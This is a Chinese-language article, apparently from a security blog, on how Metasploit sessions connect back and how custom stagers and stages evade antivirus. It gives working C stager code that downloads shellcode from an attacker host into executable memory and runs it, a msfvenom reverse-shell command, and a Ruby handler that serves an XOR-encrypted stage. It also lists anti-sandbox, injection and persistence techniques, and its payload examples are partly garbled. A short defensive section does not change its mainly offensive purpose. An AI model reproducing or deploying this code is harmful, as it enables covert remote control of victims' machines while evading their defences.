msf上线原理与自写stage绕过杀软
字数 1836 2025-08-06 23:10:31

MSF上线原理与自写Stage绕过杀软技术分析

一、MSF上线基本原理

1. MSF攻击流程概述

Metasploit Framework (MSF) 的上线过程主要分为以下几个阶段:

  1. Payload生成阶段:使用msfvenom或其他模块生成恶意代码
  2. 监听阶段:设置handler等待连接
  3. 执行阶段:目标执行payload
  4. Stager下载阶段:下载完整的Stage
  5. 会话建立阶段:建立Meterpreter会话

2. Payload类型解析

MSF中常见的payload分为三类:

  • Inline Payload:完整payload直接嵌入,如windows/meterpreter/reverse_tcp
  • Stager Payload:小型引导代码,用于下载完整stage,如windows/meterpreter/reverse_tcp
  • Stageless Payload:不依赖stager的完整payload,体积较大

3. Stager与Stage工作机制

Stager

  • 小型代码片段(通常几百字节)
  • 负责建立与攻击者的连接
  • 下载并加载完整的Stage

Stage

  • 完整的Meterpreter DLL
  • 通过反射DLL注入技术加载到内存
  • 提供完整的后门功能

二、自写Stage绕过杀软技术

1. 传统MSF Payload被检测的原因

  • 特征码被安全厂商记录
  • 网络通信模式有固定特征
  • 内存操作行为有固定模式
  • 反射DLL加载技术有特征

2. 自写Stage实现方案

2.1 自定义Stager编写

#include <windows.h>
#include <stdio.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

#define IP "192.168.1.100"
#define PORT 4444

void DownloadAndExecute() {
    WSADATA wsaData;
    SOCKET s;
    struct sockaddr_in server;
    char *recvbuf;
    DWORD dwLength;
    DWORD dwTotalRead = 0;
    LPVOID lpMemory;
    
    WSAStartup(MAKEWORD(2,2), &wsaData);
    s = socket(AF_INET, SOCK_STREAM, 0);
    
    server.sin_addr.s_addr = inet_addr(IP);
    server.sin_family = AF_INET;
    server.sin_port = htons(PORT);
    
    connect(s, (struct sockaddr *)&server, sizeof(server));
    
    // 接收stage长度
    recv(s, (char*)&dwLength, 4, 0);
    
    // 分配内存
    lpMemory = VirtualAlloc(NULL, dwLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    // 下载stage
    while(dwTotalRead < dwLength) {
        int dwRead = recv(s, (char*)lpMemory + dwTotalRead, dwLength - dwTotalRead, 0);
        if(dwRead <= 0) break;
        dwTotalRead += dwRead;
    }
    
    // 执行stage
    ((void (*)())lpMemory)();
    
    closesocket(s);
    WSACleanup();
}

int main() {
    DownloadAndExecute();
    return 0;
}

2.2 自定义Stage编写

自定义Stage需要实现以下核心功能:

  1. 通信模块:加密通信、心跳机制
  2. 功能模块:文件操作、进程操作、系统信息收集等
  3. 注入模块:进程注入、内存操作
  4. 持久化模块:注册表、服务、计划任务等

3. 绕过杀软的关键技术

3.1 代码混淆技术

  • 随机变量名和函数名
  • 插入垃圾代码
  • 控制流平坦化
  • 字符串加密

3.2 内存操作技术

  • 使用不常见的API组合
  • 延迟内存分配
  • 分块内存写入
  • 内存权限动态修改

3.3 通信加密技术

  • 自定义加密算法
  • 动态密钥交换
  • 协议伪装(如HTTP/S)
  • 流量随机填充

3.4 反沙箱技术

  • 环境检测(CPU核心数、内存大小、进程列表等)
  • 延迟执行
  • 用户交互检测
  • 虚拟化环境检测

三、完整绕过方案实现

1. 环境准备

  • Visual Studio (C/C++开发环境)
  • Metasploit Framework
  • 杀软测试环境(如Defender、360、火绒等)

2. 实现步骤

2.1 生成自定义Stage

  1. 使用msfvenom生成原始stage:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o /tmp/stage.bin
    
  2. 对stage进行自定义修改:

    • 修改导出函数名称
    • 添加反调试代码
    • 植入环境检测逻辑
    • 修改通信加密方式

2.2 编写自定义Stager

  1. 实现基础socket通信
  2. 添加内存操作代码
  3. 植入反沙箱检测
  4. 编译为小型可执行文件

2.3 设置监听器

使用自定义的handler接收连接:

require 'socket'

def xor_crypt(data, key)
  data.bytes.each_with_index.map { |b, i| b ^ key[i % key.size].ord }.pack('C*')
end

server = TCPServer.new 4444
key = "SecretKey"

loop do
  client = server.accept
  
  # 发送stage长度
  stage = File.binread('stage.bin')
  encrypted_stage = xor_crypt(stage, key)
  client.write([encrypted_stage.size].pack('L'))
  
  # 发送加密的stage
  client.write(encrypted_stage)
  
  client.close
end

3. 测试与优化

  1. 在虚拟机中测试基本功能
  2. 在杀软环境中测试检测率
  3. 根据检测结果调整:
    • 修改代码特征
    • 增强反检测能力
    • 优化通信模式

四、高级绕过技术

1. 进程注入技术

  • 经典DLL注入:使用CreateRemoteThreadLoadLibrary
  • 反射DLL注入:避免写入磁盘
  • Process Hollowing:替换合法进程内存
  • APC注入:利用异步过程调用

2. 无文件技术

  • 内存驻留:不写入磁盘
  • 注册表存储:将payload分段存储在注册表中
  • WMI持久化:使用WMI事件消费者
  • COM劫持:利用COM组件加载机制

3. 合法进程劫持

  • DLL劫持:利用DLL搜索顺序
  • 二进制替换:修改合法程序的资源段
  • 插件注入:向合法程序(如浏览器、办公软件)注入

五、防御检测建议

虽然本文介绍了绕过技术,但从防御角度,建议:

  1. 行为监控:关注异常内存操作和网络连接
  2. 流量分析:检测异常通信模式和加密流量
  3. 完整性检查:监控关键进程和DLL加载
  4. 多引擎扫描:使用不同厂商的安全产品

六、总结

通过自写Stage和Stager可以显著提高绕过杀软的成功率,关键在于:

  1. 避免使用已知特征
  2. 实现自定义的通信和加载机制
  3. 加入有效的反检测技术
  4. 持续测试和优化

这种技术需要扎实的编程功底和对操作系统底层机制的理解,建议在合法授权的环境中进行学习和测试。

MSF上线原理与自写Stage绕过杀软技术分析 一、MSF上线基本原理 1. MSF攻击流程概述 Metasploit Framework (MSF) 的上线过程主要分为以下几个阶段: Payload生成阶段 :使用msfvenom或其他模块生成恶意代码 监听阶段 :设置handler等待连接 执行阶段 :目标执行payload Stager下载阶段 :下载完整的Stage 会话建立阶段 :建立Meterpreter会话 2. Payload类型解析 MSF中常见的payload分为三类: Inline Payload :完整payload直接嵌入,如 windows/meterpreter/reverse_tcp Stager Payload :小型引导代码,用于下载完整stage,如 windows/meterpreter/reverse_tcp Stageless Payload :不依赖stager的完整payload,体积较大 3. Stager与Stage工作机制 Stager : 小型代码片段(通常几百字节) 负责建立与攻击者的连接 下载并加载完整的Stage Stage : 完整的Meterpreter DLL 通过反射DLL注入技术加载到内存 提供完整的后门功能 二、自写Stage绕过杀软技术 1. 传统MSF Payload被检测的原因 特征码被安全厂商记录 网络通信模式有固定特征 内存操作行为有固定模式 反射DLL加载技术有特征 2. 自写Stage实现方案 2.1 自定义Stager编写 2.2 自定义Stage编写 自定义Stage需要实现以下核心功能: 通信模块 :加密通信、心跳机制 功能模块 :文件操作、进程操作、系统信息收集等 注入模块 :进程注入、内存操作 持久化模块 :注册表、服务、计划任务等 3. 绕过杀软的关键技术 3.1 代码混淆技术 随机变量名和函数名 插入垃圾代码 控制流平坦化 字符串加密 3.2 内存操作技术 使用不常见的API组合 延迟内存分配 分块内存写入 内存权限动态修改 3.3 通信加密技术 自定义加密算法 动态密钥交换 协议伪装(如HTTP/S) 流量随机填充 3.4 反沙箱技术 环境检测(CPU核心数、内存大小、进程列表等) 延迟执行 用户交互检测 虚拟化环境检测 三、完整绕过方案实现 1. 环境准备 Visual Studio (C/C++开发环境) Metasploit Framework 杀软测试环境(如Defender、360、火绒等) 2. 实现步骤 2.1 生成自定义Stage 使用msfvenom生成原始stage: 对stage进行自定义修改: 修改导出函数名称 添加反调试代码 植入环境检测逻辑 修改通信加密方式 2.2 编写自定义Stager 实现基础socket通信 添加内存操作代码 植入反沙箱检测 编译为小型可执行文件 2.3 设置监听器 使用自定义的handler接收连接: 3. 测试与优化 在虚拟机中测试基本功能 在杀软环境中测试检测率 根据检测结果调整: 修改代码特征 增强反检测能力 优化通信模式 四、高级绕过技术 1. 进程注入技术 经典DLL注入 :使用 CreateRemoteThread 和 LoadLibrary 反射DLL注入 :避免写入磁盘 Process Hollowing :替换合法进程内存 APC注入 :利用异步过程调用 2. 无文件技术 内存驻留 :不写入磁盘 注册表存储 :将payload分段存储在注册表中 WMI持久化 :使用WMI事件消费者 COM劫持 :利用COM组件加载机制 3. 合法进程劫持 DLL劫持 :利用DLL搜索顺序 二进制替换 :修改合法程序的资源段 插件注入 :向合法程序(如浏览器、办公软件)注入 五、防御检测建议 虽然本文介绍了绕过技术,但从防御角度,建议: 行为监控 :关注异常内存操作和网络连接 流量分析 :检测异常通信模式和加密流量 完整性检查 :监控关键进程和DLL加载 多引擎扫描 :使用不同厂商的安全产品 六、总结 通过自写Stage和Stager可以显著提高绕过杀软的成功率,关键在于: 避免使用已知特征 实现自定义的通信和加载机制 加入有效的反检测技术 持续测试和优化 这种技术需要扎实的编程功底和对操作系统底层机制的理解,建议在合法授权的环境中进行学习和测试。